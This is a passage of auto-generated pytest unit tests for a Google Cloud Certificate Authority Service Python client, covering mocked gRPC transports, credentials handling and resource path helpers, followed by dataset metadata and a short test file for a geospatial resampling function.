credentials=ga_credentials.AnonymousCredentials(), transport=transport, ) # Everything is optional in proto3 as far as the runtime is concerned, # and we are mocking out the actual API, so just send an empty request. request = request_type() # Mock the actual call within the gRPC stub, and fake the request. with mock.patch.object( type(client.transport.update_certificate_template), "__call__" ) as call: # Designate an appropriate return value for the call. call.return_value = grpc_helpers_async.FakeUnaryUnaryCall( operations_pb2.Operation(name="operations/spam") ) response = await client.update_certificate_template(request) # Establish that the underlying gRPC stub method was called. assert len(call.mock_calls) _, args, _ = call.mock_calls[0] assert args[0] == service.UpdateCertificateTemplateRequest() # Establish that the response is the type that we expect. assert isinstance(response, future.Future) @pytest.mark.asyncio async def test_update_certificate_template_async_from_dict(): await test_update_certificate_template_async(request_type=dict) def test_update_certificate_template_field_headers(): client = CertificateAuthorityServiceClient( credentials=ga_credentials.AnonymousCredentials(), ) # Any value that is part of the HTTP/1.1 URI should be sent as # a field header. Set these to a non-empty value. request = service.UpdateCertificateTemplateRequest() request.certificate_template.name = "certificate_template.name/value" # Mock the actual call within the gRPC stub, and fake the request. with mock.patch.object( type(client.transport.update_certificate_template), "__call__" ) as call: call.return_value = operations_pb2.Operation(name="operations/op") client.update_certificate_template(request) # Establish that the underlying gRPC stub method was called. assert len(call.mock_calls) == 1 _, args, _ = call.mock_calls[0] assert args[0] == request # Establish that the field header was sent. _, _, kw = call.mock_calls[0] assert ( "x-goog-request-params", "certificate_template.name=certificate_template.name/value", ) in kw["metadata"] @pytest.mark.asyncio async def test_update_certificate_template_field_headers_async(): client = CertificateAuthorityServiceAsyncClient( credentials=ga_credentials.AnonymousCredentials(), ) # Any value that is part of the HTTP/1.1 URI should be sent as # a field header. Set these to a non-empty value. request = service.UpdateCertificateTemplateRequest() request.certificate_template.name = "certificate_template.name/value" # Mock the actual call within the gRPC stub, and fake the request. with mock.patch.object( type(client.transport.update_certificate_template), "__call__" ) as call: call.return_value = grpc_helpers_async.FakeUnaryUnaryCall( operations_pb2.Operation(name="operations/op") ) await client.update_certificate_template(request) # Establish that the underlying gRPC stub method was called. assert len(call.mock_calls) _, args, _ = call.mock_calls[0] assert args[0] == request # Establish that the field header was sent. _, _, kw = call.mock_calls[0] assert ( "x-goog-request-params", "certificate_template.name=certificate_template.name/value", ) in kw["metadata"] def test_update_certificate_template_flattened(): client = CertificateAuthorityServiceClient( credentials=ga_credentials.AnonymousCredentials(), ) # Mock the actual call within the gRPC stub, and fake the request. with mock.patch.object( type(client.transport.update_certificate_template), "__call__" ) as call: # Designate an appropriate return value for the call. call.return_value = operations_pb2.Operation(name="operations/op") # Call the method with a truthy value for each flattened field, # using the keyword arguments to the method. client.update_certificate_template( certificate_template=resources.CertificateTemplate(name="name_value"), update_mask=field_mask_pb2.FieldMask(paths=["paths_value"]), ) # Establish that the underlying call was made with the expected # request object values. assert len(call.mock_calls) == 1 _, args, _ = call.mock_calls[0] arg = args[0].certificate_template mock_val = resources.CertificateTemplate(name="name_value") assert arg == mock_val arg = args[0].update_mask mock_val = field_mask_pb2.FieldMask(paths=["paths_value"]) assert arg == mock_val def test_update_certificate_template_flattened_error(): client = CertificateAuthorityServiceClient( credentials=ga_credentials.AnonymousCredentials(), ) # Attempting to call a method with both a request object and flattened # fields is an error. with pytest.raises(ValueError): client.update_certificate_template( service.UpdateCertificateTemplateRequest(), certificate_template=resources.CertificateTemplate(name="name_value"), update_mask=field_mask_pb2.FieldMask(paths=["paths_value"]), ) @pytest.mark.asyncio async def test_update_certificate_template_flattened_async(): client = CertificateAuthorityServiceAsyncClient( credentials=ga_credentials.AnonymousCredentials(), ) # Mock the actual call within the gRPC stub, and fake the request. with mock.patch.object( type(client.transport.update_certificate_template), "__call__" ) as call: # Designate an appropriate return value for the call. call.return_value = operations_pb2.Operation(name="operations/op") call.return_value = grpc_helpers_async.FakeUnaryUnaryCall( operations_pb2.Operation(name="operations/spam") ) # Call the method with a truthy value for each flattened field, # using the keyword arguments to the method. response = await client.update_certificate_template( certificate_template=resources.CertificateTemplate(name="name_value"), update_mask=field_mask_pb2.FieldMask(paths=["paths_value"]), ) # Establish that the underlying call was made with the expected # request object values. assert len(call.mock_calls) _, args, _ = call.mock_calls[0] arg = args[0].certificate_template mock_val = resources.CertificateTemplate(name="name_value") assert arg == mock_val arg = args[0].update_mask mock_val = field_mask_pb2.FieldMask(paths=["paths_value"]) assert arg == mock_val @pytest.mark.asyncio async def test_update_certificate_template_flattened_error_async(): client = CertificateAuthorityServiceAsyncClient( credentials=ga_credentials.AnonymousCredentials(), ) # Attempting to call a method with both a request object and flattened # fields is an error. with pytest.raises(ValueError): await client.update_certificate_template( service.UpdateCertificateTemplateRequest(), certificate_template=resources.CertificateTemplate(name="name_value"), update_mask=field_mask_pb2.FieldMask(paths=["paths_value"]), ) def test_credentials_transport_error(): # It is an error to provide credentials and a transport instance. transport = transports.CertificateAuthorityServiceGrpcTransport( credentials=ga_credentials.AnonymousCredentials(), ) with pytest.raises(ValueError): client = CertificateAuthorityServiceClient( credentials=ga_credentials.AnonymousCredentials(), transport=transport, ) # It is an error to provide a credentials file and a transport instance. transport = transports.CertificateAuthorityServiceGrpcTransport( credentials=ga_credentials.AnonymousCredentials(), ) with pytest.raises(ValueError): client = CertificateAuthorityServiceClient( client_options={"credentials_file": "credentials.json"}, transport=transport, ) # It is an error to provide an api_key and a transport instance. transport = transports.CertificateAuthorityServiceGrpcTransport( credentials=ga_credentials.AnonymousCredentials(), ) options = client_options.ClientOptions() options.api_key = "api_key" with pytest.raises(ValueError): client = CertificateAuthorityServiceClient( client_options=options, transport=transport, ) # It is an error to provide an api_key and a credential. options = mock.Mock() options.api_key = "api_key" with pytest.raises(ValueError): client = CertificateAuthorityServiceClient( client_options=options, credentials=ga_credentials.AnonymousCredentials() ) # It is an error to provide scopes and a transport instance. transport = transports.CertificateAuthorityServiceGrpcTransport( credentials=ga_credentials.AnonymousCredentials(), ) with pytest.raises(ValueError): client = CertificateAuthorityServiceClient( client_options={"scopes": ["1", "2"]}, transport=transport, ) def test_transport_instance(): # A client may be instantiated with a custom transport instance. transport = transports.CertificateAuthorityServiceGrpcTransport( credentials=ga_credentials.AnonymousCredentials(), ) client = CertificateAuthorityServiceClient(transport=transport) assert client.transport is transport def test_transport_get_channel(): # A client may be instantiated with a custom transport instance. transport = transports.CertificateAuthorityServiceGrpcTransport( credentials=ga_credentials.AnonymousCredentials(), ) channel = transport.grpc_channel assert channel transport = transports.CertificateAuthorityServiceGrpcAsyncIOTransport( credentials=ga_credentials.AnonymousCredentials(), ) channel = transport.grpc_channel assert channel @pytest.mark.parametrize( "transport_class", [ transports.CertificateAuthorityServiceGrpcTransport, transports.CertificateAuthorityServiceGrpcAsyncIOTransport, ], ) def test_transport_adc(transport_class): # Test default credentials are used if not provided. with mock.patch.object(google.auth, "default") as adc: adc.return_value = (ga_credentials.AnonymousCredentials(), None) transport_class() adc.assert_called_once() def test_transport_grpc_default(): # A client should use the gRPC transport by default. client = CertificateAuthorityServiceClient( credentials=ga_credentials.AnonymousCredentials(), ) assert isinstance( client.transport, transports.CertificateAuthorityServiceGrpcTransport, ) def test_certificate_authority_service_base_transport_error(): # Passing both a credentials object and credentials_file should raise an error with pytest.raises(core_exceptions.DuplicateCredentialArgs): transport = transports.CertificateAuthorityServiceTransport( credentials=ga_credentials.AnonymousCredentials(), credentials_file="credentials.json", ) def test_certificate_authority_service_base_transport(): # Instantiate the base transport. with mock.patch( "google.cloud.security.privateca_v1.services.certificate_authority_service.transports.CertificateAuthorityServiceTransport.__init__" ) as Transport: Transport.return_value = None transport = transports.CertificateAuthorityServiceTransport( credentials=ga_credentials.AnonymousCredentials(), ) # Every method on the transport should just blindly # raise NotImplementedError. methods = ( "create_certificate", "get_certificate", "list_certificates", "revoke_certificate", "update_certificate", "activate_certificate_authority", "create_certificate_authority", "disable_certificate_authority", "enable_certificate_authority", "fetch_certificate_authority_csr", "get_certificate_authority", "list_certificate_authorities", "undelete_certificate_authority", "delete_certificate_authority", "update_certificate_authority", "create_ca_pool", "update_ca_pool", "get_ca_pool", "list_ca_pools", "delete_ca_pool", "fetch_ca_certs", "get_certificate_revocation_list", "list_certificate_revocation_lists", "update_certificate_revocation_list", "create_certificate_template", "delete_certificate_template", "get_certificate_template", "list_certificate_templates", "update_certificate_template", ) for method in methods: with pytest.raises(NotImplementedError): getattr(transport, method)(request=object()) with pytest.raises(NotImplementedError): transport.close() # Additionally, the LRO client (a property) should # also raise NotImplementedError with pytest.raises(NotImplementedError): transport.operations_client def test_certificate_authority_service_base_transport_with_credentials_file(): # Instantiate the base transport with a credentials file with mock.patch.object( google.auth, "load_credentials_from_file", autospec=True ) as load_creds, mock.patch( "google.cloud.security.privateca_v1.services.certificate_authority_service.transports.CertificateAuthorityServiceTransport._prep_wrapped_messages" ) as Transport: Transport.return_value = None load_creds.return_value = (ga_credentials.AnonymousCredentials(), None) transport = transports.CertificateAuthorityServiceTransport( credentials_file="credentials.json", quota_project_id="octopus", ) load_creds.assert_called_once_with( "credentials.json", scopes=None, default_scopes=("https://www.googleapis.com/auth/cloud-platform",), quota_project_id="octopus", ) def test_certificate_authority_service_base_transport_with_adc(): # Test the default credentials are used if credentials and credentials_file are None. with mock.patch.object(google.auth, "default", autospec=True) as adc, mock.patch( "google.cloud.security.privateca_v1.services.certificate_authority_service.transports.CertificateAuthorityServiceTransport._prep_wrapped_messages" ) as Transport: Transport.return_value = None adc.return_value = (ga_credentials.AnonymousCredentials(), None) transport = transports.CertificateAuthorityServiceTransport() adc.assert_called_once() def test_certificate_authority_service_auth_adc(): # If no credentials are provided, we should use ADC credentials. with mock.patch.object(google.auth, "default", autospec=True) as adc: adc.return_value = (ga_credentials.AnonymousCredentials(), None) CertificateAuthorityServiceClient() adc.assert_called_once_with( scopes=None, default_scopes=("https://www.googleapis.com/auth/cloud-platform",), quota_project_id=None, ) @pytest.mark.parametrize( "transport_class", [ transports.CertificateAuthorityServiceGrpcTransport, transports.CertificateAuthorityServiceGrpcAsyncIOTransport, ], ) def test_certificate_authority_service_transport_auth_adc(transport_class): # If credentials and host are not provided, the transport class should use # ADC credentials. with mock.patch.object(google.auth, "default", autospec=True) as adc: adc.return_value = (ga_credentials.AnonymousCredentials(), None) transport_class(quota_project_id="octopus", scopes=["1", "2"]) adc.assert_called_once_with( scopes=["1", "2"], default_scopes=("https://www.googleapis.com/auth/cloud-platform",), quota_project_id="octopus", ) @pytest.mark.parametrize( "transport_class,grpc_helpers", [ (transports.CertificateAuthorityServiceGrpcTransport, grpc_helpers), ( transports.CertificateAuthorityServiceGrpcAsyncIOTransport, grpc_helpers_async, ), ], ) def test_certificate_authority_service_transport_create_channel( transport_class, grpc_helpers ): # If credentials and host are not provided, the transport class should use # ADC credentials. with mock.patch.object( google.auth, "default", autospec=True ) as adc, mock.patch.object( grpc_helpers, "create_channel", autospec=True ) as create_channel: creds = ga_credentials.AnonymousCredentials() adc.return_value = (creds, None) transport_class(quota_project_id="octopus", scopes=["1", "2"]) create_channel.assert_called_with( "privateca.googleapis.com:443", credentials=creds, credentials_file=None, quota_project_id="octopus", default_scopes=("https://www.googleapis.com/auth/cloud-platform",), scopes=["1", "2"], default_host="privateca.googleapis.com", ssl_credentials=None, options=[ ("grpc.max_send_message_length", -1), ("grpc.max_receive_message_length", -1), ], ) @pytest.mark.parametrize( "transport_class", [ transports.CertificateAuthorityServiceGrpcTransport, transports.CertificateAuthorityServiceGrpcAsyncIOTransport, ], ) def test_certificate_authority_service_grpc_transport_client_cert_source_for_mtls( transport_class, ): cred = ga_credentials.AnonymousCredentials() # Check ssl_channel_credentials is used if provided. with mock.patch.object(transport_class, "create_channel") as mock_create_channel: mock_ssl_channel_creds = mock.Mock() transport_class( host="squid.clam.whelk", credentials=cred, ssl_channel_credentials=mock_ssl_channel_creds, ) mock_create_channel.assert_called_once_with( "squid.clam.whelk:443", credentials=cred, credentials_file=None, scopes=None, ssl_credentials=mock_ssl_channel_creds, quota_project_id=None, options=[ ("grpc.max_send_message_length", -1), ("grpc.max_receive_message_length", -1), ], ) # Check if ssl_channel_credentials is not provided, then client_cert_source_for_mtls # is used. with mock.patch.object(transport_class, "create_channel", return_value=mock.Mock()): with mock.patch("grpc.ssl_channel_credentials") as mock_ssl_cred: transport_class( credentials=cred, client_cert_source_for_mtls=client_cert_source_callback, ) expected_cert, expected_key = client_cert_source_callback() mock_ssl_cred.assert_called_once_with( certificate_chain=expected_cert, private_key=expected_key ) def test_certificate_authority_service_host_no_port(): client = CertificateAuthorityServiceClient( credentials=ga_credentials.AnonymousCredentials(), client_options=client_options.ClientOptions( api_endpoint="privateca.googleapis.com" ), ) assert client.transport._host == "privateca.googleapis.com:443" def test_certificate_authority_service_host_with_port(): client = CertificateAuthorityServiceClient( credentials=ga_credentials.AnonymousCredentials(), client_options=client_options.ClientOptions( api_endpoint="privateca.googleapis.com:8000" ), ) assert client.transport._host == "privateca.googleapis.com:8000" def test_certificate_authority_service_grpc_transport_channel(): channel = grpc.secure_channel("http://localhost/", grpc.local_channel_credentials()) # Check that channel is used if provided. transport = transports.CertificateAuthorityServiceGrpcTransport( host="squid.clam.whelk", channel=channel, ) assert transport.grpc_channel == channel assert transport._host == "squid.clam.whelk:443" assert transport._ssl_channel_credentials == None def test_certificate_authority_service_grpc_asyncio_transport_channel(): channel = aio.secure_channel("http://localhost/", grpc.local_channel_credentials()) # Check that channel is used if provided. transport = transports.CertificateAuthorityServiceGrpcAsyncIOTransport( host="squid.clam.whelk", channel=channel, ) assert transport.grpc_channel == channel assert transport._host == "squid.clam.whelk:443" assert transport._ssl_channel_credentials == None # Remove this test when deprecated arguments (api_mtls_endpoint, client_cert_source) are # removed from grpc/grpc_asyncio transport constructor. @pytest.mark.parametrize( "transport_class", [ transports.CertificateAuthorityServiceGrpcTransport, transports.CertificateAuthorityServiceGrpcAsyncIOTransport, ], ) def test_certificate_authority_service_transport_channel_mtls_with_client_cert_source( transport_class, ): with mock.patch( "grpc.ssl_channel_credentials", autospec=True ) as grpc_ssl_channel_cred: with mock.patch.object( transport_class, "create_channel" ) as grpc_create_channel: mock_ssl_cred = mock.Mock() grpc_ssl_channel_cred.return_value = mock_ssl_cred mock_grpc_channel = mock.Mock() grpc_create_channel.return_value = mock_grpc_channel cred = ga_credentials.AnonymousCredentials() with pytest.warns(DeprecationWarning): with mock.patch.object(google.auth, "default") as adc: adc.return_value = (cred, None) transport = transport_class( host="squid.clam.whelk", api_mtls_endpoint="mtls.squid.clam.whelk", client_cert_source=client_cert_source_callback, ) adc.assert_called_once() grpc_ssl_channel_cred.assert_called_once_with( certificate_chain=b"cert bytes", private_key=b"key bytes" ) grpc_create_channel.assert_called_once_with( "mtls.squid.clam.whelk:443", credentials=cred, credentials_file=None, scopes=None, ssl_credentials=mock_ssl_cred, quota_project_id=None, options=[ ("grpc.max_send_message_length", -1), ("grpc.max_receive_message_length", -1), ], ) assert transport.grpc_channel == mock_grpc_channel assert transport._ssl_channel_credentials == mock_ssl_cred # Remove this test when deprecated arguments (api_mtls_endpoint, client_cert_source) are # removed from grpc/grpc_asyncio transport constructor. @pytest.mark.parametrize( "transport_class", [ transports.CertificateAuthorityServiceGrpcTransport, transports.CertificateAuthorityServiceGrpcAsyncIOTransport, ], ) def test_certificate_authority_service_transport_channel_mtls_with_adc(transport_class): mock_ssl_cred = mock.Mock() with mock.patch.multiple( "google.auth.transport.grpc.SslCredentials", __init__=mock.Mock(return_value=None), ssl_credentials=mock.PropertyMock(return_value=mock_ssl_cred), ): with mock.patch.object( transport_class, "create_channel" ) as grpc_create_channel: mock_grpc_channel = mock.Mock() grpc_create_channel.return_value = mock_grpc_channel mock_cred = mock.Mock() with pytest.warns(DeprecationWarning): transport = transport_class( host="squid.clam.whelk", credentials=mock_cred, api_mtls_endpoint="mtls.squid.clam.whelk", client_cert_source=None, ) grpc_create_channel.assert_called_once_with( "mtls.squid.clam.whelk:443", credentials=mock_cred, credentials_file=None, scopes=None, ssl_credentials=mock_ssl_cred, quota_project_id=None, options=[ ("grpc.max_send_message_length", -1), ("grpc.max_receive_message_length", -1), ], ) assert transport.grpc_channel == mock_grpc_channel def test_certificate_authority_service_grpc_lro_client(): client = CertificateAuthorityServiceClient( credentials=ga_credentials.AnonymousCredentials(), transport="grpc", ) transport = client.transport # Ensure that we have a api-core operations client. assert isinstance(transport.operations_client, operations_v1.OperationsClient,) # Ensure that subsequent calls to the property send the exact same object. assert transport.operations_client is transport.operations_client def test_certificate_authority_service_grpc_lro_async_client(): client = CertificateAuthorityServiceAsyncClient( credentials=ga_credentials.AnonymousCredentials(), transport="grpc_asyncio", ) transport = client.transport # Ensure that we have a api-core operations client. assert isinstance(transport.operations_client, operations_v1.OperationsAsyncClient,) # Ensure that subsequent calls to the property send the exact same object. assert transport.operations_client is transport.operations_client def test_ca_pool_path(): project = "squid" location = "clam" ca_pool = "whelk" expected = "projects/{project}/locations/{location}/caPools/{ca_pool}".format( project=project, location=location, ca_pool=ca_pool, ) actual = CertificateAuthorityServiceClient.ca_pool_path(project, location, ca_pool) assert expected == actual def test_parse_ca_pool_path(): expected = { "project": "octopus", "location": "oyster", "ca_pool": "nudibranch", } path = CertificateAuthorityServiceClient.ca_pool_path(**expected) # Check that the path construction is reversible. actual = CertificateAuthorityServiceClient.parse_ca_pool_path(path) assert expected == actual def test_certificate_path(): project = "cuttlefish" location = "mussel" ca_pool = "winkle" certificate = "nautilus" expected = "projects/{project}/locations/{location}/caPools/{ca_pool}/certificates/{certificate}".format( project=project, location=location, ca_pool=ca_pool, certificate=certificate, ) actual = CertificateAuthorityServiceClient.certificate_path( project, location, ca_pool, certificate ) assert expected == actual def test_parse_certificate_path(): expected = { "project": "scallop", "location": "abalone", "ca_pool": "squid", "certificate": "clam", } path = CertificateAuthorityServiceClient.certificate_path(**expected) # Check that the path construction is reversible. actual = CertificateAuthorityServiceClient.parse_certificate_path(path) assert expected == actual def test_certificate_authority_path(): project = "whelk" location = "octopus" ca_pool = "oyster" certificate_authority = "nudibranch" expected = "projects/{project}/locations/{location}/caPools/{ca_pool}/certificateAuthorities/{certificate_authority}".format( project=project, location=location, ca_pool=ca_pool, certificate_authority=certificate_authority, ) actual = CertificateAuthorityServiceClient.certificate_authority_path( project, location, ca_pool, certificate_authority ) assert expected == actual def test_parse_certificate_authority_path(): expected = { "project": "cuttlefish", "location": "mussel", "ca_pool": "winkle", "certificate_authority": "nautilus", } path = CertificateAuthorityServiceClient.certificate_authority_path(**expected) # Check that the path construction is reversible. actual = CertificateAuthorityServiceClient.parse_certificate_authority_path(path) assert expected == actual def test_certificate_revocation_list_path(): project = "scallop" location = "abalone" ca_pool = "squid" certificate_authority = "clam" certificate_revocation_list = "whelk" expected = "projects/{project}/locations/{location}/caPools/{ca_pool}/certificateAuthorities/{certificate_authority}/certificateRevocationLists/{certificate_revocation_list}".format( project=project, location=location, ca_pool=ca_pool, certificate_authority=certificate_authority, certificate_revocation_list=certificate_revocation_list, ) actual = CertificateAuthorityServiceClient.certificate_revocation_list_path( project, location, ca_pool, certificate_authority, certificate_revocation_list ) assert expected == actual def test_parse_certificate_revocation_list_path(): expected = { "project": "octopus", "location": "oyster", "ca_pool": "nudibranch", "certificate_authority": "cuttlefish", "certificate_revocation_list": "mussel", } path = CertificateAuthorityServiceClient.certificate_revocation_list_path( **expected ) # Check that the path construction is reversible. actual = CertificateAuthorityServiceClient.parse_certificate_revocation_list_path( path ) assert expected == actual def test_certificate_template_path(): project = "winkle" location = "nautilus" certificate_template = "scallop" expected = "projects/{project}/locations/{location}/certificateTemplates/{certificate_template}".format( project=project, location=location, certificate_template=certificate_template, ) actual = CertificateAuthorityServiceClient.certificate_template_path( project, location, certificate_template ) assert expected == actual def test_parse_certificate_template_path(): expected = { "project": "abalone", "location": "squid", "certificate_template": "clam", } path = CertificateAuthorityServiceClient.certificate_template_path(**expected) # Check that the path construction is reversible. actual = CertificateAuthorityServiceClient.parse_certificate_template_path(path) assert expected == actual def test_common_billing_account_path(): billing_account = "whelk" expected = "billingAccounts/{billing_account}".format( billing_account=billing_account, ) actual = CertificateAuthorityServiceClient.common_billing_account_path( billing_account ) assert expected == actual def test_parse_common_billing_account_path(): expected = { "billing_account": "octopus", } path = CertificateAuthorityServiceClient.common_billing_account_path(**expected) # Check that the path construction is reversible. actual = CertificateAuthorityServiceClient.parse_common_billing_account_path(path) assert expected == actual def test_common_folder_path(): folder = "oyster" expected = "folders/{folder}".format(folder=folder,) actual = CertificateAuthorityServiceClient.common_folder_path(folder) assert expected == actual def test_parse_common_folder_path(): expected = { "folder": "nudibranch", } path = CertificateAuthorityServiceClient.common_folder_path(**expected) # Check that the path construction is reversible. actual = CertificateAuthorityServiceClient.parse_common_folder_path(path) assert expected == actual def test_common_organization_path(): organization = "cuttlefish" expected = "organizations/{organization}".format(organization=organization,) actual = CertificateAuthorityServiceClient.common_organization_path(organization) assert expected == actual def test_parse_common_organization_path(): expected = { "organization": "mussel", } path = CertificateAuthorityServiceClient.common_organization_path(**expected) # Check that the path construction is reversible. actual = CertificateAuthorityServiceClient.parse_common_organization_path(path) assert expected == actual def test_common_project_path(): project = "winkle" expected = "projects/{project}".format(project=project,) actual = CertificateAuthorityServiceClient.common_project_path(project) assert expected == actual def test_parse_common_project_path(): expected = { "project": "nautilus", } path = CertificateAuthorityServiceClient.common_project_path(**expected) # Check that the path construction is reversible. actual = CertificateAuthorityServiceClient.parse_common_project_path(path) assert expected == actual def test_common_location_path(): project = "scallop" location = "abalone" expected = "projects/{project}/locations/{location}".format( project=project, location=location, ) actual = CertificateAuthorityServiceClient.common_location_path(project, location) assert expected == actual def test_parse_common_location_path(): expected = { "project": "squid", "location": "clam", } path = CertificateAuthorityServiceClient.common_location_path(**expected) # Check that the path construction is reversible. actual = CertificateAuthorityServiceClient.parse_common_location_path(path) assert expected == actual def test_client_with_default_client_info(): client_info = gapic_v1.client_info.ClientInfo() with mock.patch.object( transports.CertificateAuthorityServiceTransport, "_prep_wrapped_messages" ) as prep: client = CertificateAuthorityServiceClient( credentials=ga_credentials.AnonymousCredentials(), client_info=client_info, ) prep.assert_called_once_with(client_info) with mock.patch.object( transports.CertificateAuthorityServiceTransport, "_prep_wrapped_messages" ) as prep: transport_class = CertificateAuthorityServiceClient.get_transport_class() transport = transport_class( credentials=ga_credentials.AnonymousCredentials(), client_info=client_info, ) prep.assert_called_once_with(client_info) @pytest.mark.asyncio async def test_transport_close_async(): client = CertificateAuthorityServiceAsyncClient( credentials=ga_credentials.AnonymousCredentials(), transport="grpc_asyncio", ) with mock.patch.object( type(getattr(client.transport, "grpc_channel")), "close" ) as close: async with client: close.assert_not_called() close.assert_called_once() def test_transport_close(): transports = { "grpc": "_grpc_channel", } for transport, close_name in transports.items(): client = CertificateAuthorityServiceClient( credentials=ga_credentials.AnonymousCredentials(), transport=transport ) with mock.patch.object( type(getattr(client.transport, close_name)), "close" ) as close: with client: close.assert_not_called() close.assert_called_once() def test_client_ctx(): transports = [ "grpc", ] for transport in transports: client = CertificateAuthorityServiceClient( credentials=ga_credentials.AnonymousCredentials(), transport=transport ) # Test client calls underlying transport. with mock.patch.object(type(client.transport), "close") as close: close.assert_not_called() with client: pass close.assert_called() @pytest.mark.parametrize( "client_class,transport_class", [ ( CertificateAuthorityServiceClient, transports.CertificateAuthorityServiceGrpcTransport, ), ( CertificateAuthorityServiceAsyncClient, transports.CertificateAuthorityServiceGrpcAsyncIOTransport, ), ], ) def test_api_key_credentials(client_class, transport_class): with mock.patch.object( google.auth._default, "get_api_key_credentials", create=True ) as get_api_key_credentials: mock_cred = mock.Mock() get_api_key_credentials.return_value = mock_cred options = client_options.ClientOptions() options.api_key = "api_key" with mock.patch.object(transport_class, "__init__") as patched: patched.return_value = None client = client_class(client_options=options) patched.assert_called_once_with( credentials=mock_cred, credentials_file=None, host=client.DEFAULT_ENDPOINT, scopes=None, client_cert_source_for_mtls=None, quota_project_id=None, client_info=transports.base.DEFAULT_CLIENT_INFO, always_use_jwt_access=True, )

38.901854

186

0.695804

38,915

350,389

6.038597

0.013105

0.014809

0.024065

0.056734

0.954105

0.943168

0.930134

0.915742

0.900895

0.886868

0

0.003672

0.225155

350,389

9,006

187

38.906174

0.86187

0.208425

0

0.71717

0

0.074212

0.030221

0

0.130007

1

0.034964

false

0.000164

0.005089

0.000328

0.040381

0

null

0

1

0

1

0

null

0

7

db774f11ade5e18a04314980341f2c5d49bec6e4

3,165

py

Python

tests/test_resample_n.py

TerraFusion/pytaf

e121ed340a4b757e36c246aa20056a669d29613d

[ "Apache-2.0" ]

2

2019-05-04T02:24:23.000Z

2020-10-28T08:53:53.000Z

tests/test_resample_n.py

TerraFusion/pytaf

e121ed340a4b757e36c246aa20056a669d29613d

[ "Apache-2.0" ]

5

2018-05-24T16:50:06.000Z

2019-04-20T02:03:50.000Z

tests/test_resample_n.py

TerraFusion/pytaf

e121ed340a4b757e36c246aa20056a669d29613d

[ "Apache-2.0" ]

1

2020-02-11T23:54:05.000Z

from unittest import TestCase import pytaf import numpy as np class TestResampleN(TestCase): # Both source and target are 1-d. def test_resample_n_1d(self): slat = np.arange(12, dtype=np.float64) slon = np.arange(12, dtype=np.float64) sdata = slat * -333 tlat = np.arange(12, dtype=np.float64) tlon = np.arange(12, dtype=np.float64) r = 5555 g = pytaf.resample_n(slat, slon, tlat, tlon, sdata, r) h = np.array([-0., -333., -666., -999., -1332., -1665., -1998.,-2331., -999., -2997., -3330., -3663.]) try: np.testing.assert_array_equal(g, h) res = True except AssertionError as err: res = False print(err) self.assertTrue(res) # Both source and target are 2-d. def test_resample_n_2d(self): slat = np.arange(12, dtype=np.float64).reshape((3,4)) slon = np.arange(12, dtype=np.float64).reshape((3,4)) sdata = slat * -333 tlat = np.arange(12, dtype=np.float64).reshape((3,4)) tlon = np.arange(12, dtype=np.float64).reshape((3,4)) r = 5555 g = pytaf.resample_n(slat, slon, tlat, tlon, sdata, r) h = np.array([[-0., -333., -666., -999.], [-1332., -1665., -1998.,-2331.], [-999, -2997., -3330., -3663.]]) try: np.testing.assert_array_equal(g, h) res = True except AssertionError as err: res = False print(err) self.assertTrue(res) # Source is 2-d and target is 1-d. def test_resample_n_2d_to_1d(self): slat = np.arange(12, dtype=np.float64).reshape((3,4)) slon = np.arange(12, dtype=np.float64).reshape((3,4)) sdata = slat * -333 tlat = np.arange(12, dtype=np.float64) tlon = np.arange(12, dtype=np.float64) r = 5555 g = pytaf.resample_n(slat, slon, tlat, tlon, sdata, r) h = np.array([-0., -333., -666., -999., -1332., -1665., -1998.,-2331., -999., -2997., -3330., -3663.]) try: np.testing.assert_array_equal(g, h) res = True except AssertionError as err: res = False print(err) self.assertTrue(res) # Source is 1-d and target is 2-d. def test_resample_n_1d_to_2d(self): slat = np.arange(12, dtype=np.float64) slon = np.arange(12, dtype=np.float64) sdata = slat * -333 tlat = np.arange(12, dtype=np.float64).reshape((3,4)) tlon = np.arange(12, dtype=np.float64).reshape((3,4)) r = 5555 g = pytaf.resample_n(slat, slon, tlat, tlon, sdata, r) h = np.array([[-0., -333., -666., -999.], [-1332., -1665., -1998.,-2331.], [-999, -2997., -3330., -3663.]]) try: np.testing.assert_array_equal(g, h) res = True except AssertionError as err: res = False print(err) self.assertTrue(res)

35.561798

62

0.508057

413

3,165

3.825666

0.162228

0.081013

0.101266

0.151899

0.931646

0.903797

0.855696

0.850633

0

0.136604

0.343128

3,165

88

63

35.965909

0.623377

0.040758

0

0.894737

0

0.157895

1

0.052632

false

0

0.039474

0

0.105263

0.052632

0

null

0

1

0

1

0

null

0

7

db938a8e4ec28a338edbf0c5ecde9b98dcc5b7a7

177

py

Python

accounts/admin.py

Vishesh-Conbi/Chatbot

c6a966eb1947064eeffe1a1722d672ca560377bd

[ "MIT" ]

null

accounts/admin.py

Vishesh-Conbi/Chatbot

c6a966eb1947064eeffe1a1722d672ca560377bd

[ "MIT" ]

null

accounts/admin.py

Vishesh-Conbi/Chatbot

c6a966eb1947064eeffe1a1722d672ca560377bd

[ "MIT" ]

null

from django.contrib import admin from .models import AD_User from .models import AD_Admin # Register your models here. admin.site.register(AD_User) admin.site.register(AD_Admin)

29.5

32

0.824859

29

177

4.896552

0.413793

0.140845

0.225352

0.253521

0

0.101695

177

6

33

29.5

0.893082

0.146893

0

1

0

true

0

0.6

0

0.6

0

1

0

null

0

1

0

1

0

null

0

1

0

1

0

1

0

7

db9a4f966e0ecee326d5086d2978ddb5ff9ba206

7,499

py

Python

tests/int/test_liquidations.py

keyko-io/defi-crawler-py

132fd0a4f4e72cebafd40a884a882d184d9dfb5a

[ "Apache-2.0" ]

45

2021-05-08T03:01:52.000Z

2022-03-21T05:50:45.000Z

tests/int/test_liquidations.py

vv111y/defi-crawler-py

135b3d4a89e9382b9f428f35c3fe7432ec03e581

[ "Apache-2.0" ]

22

2021-04-07T13:52:58.000Z

2022-03-29T22:01:36.000Z

tests/int/test_liquidations.py

keyko-io/defi-crawler-py

132fd0a4f4e72cebafd40a884a882d184d9dfb5a

[ "Apache-2.0" ]

15

2021-06-25T16:06:15.000Z

2022-02-23T02:36:54.000Z

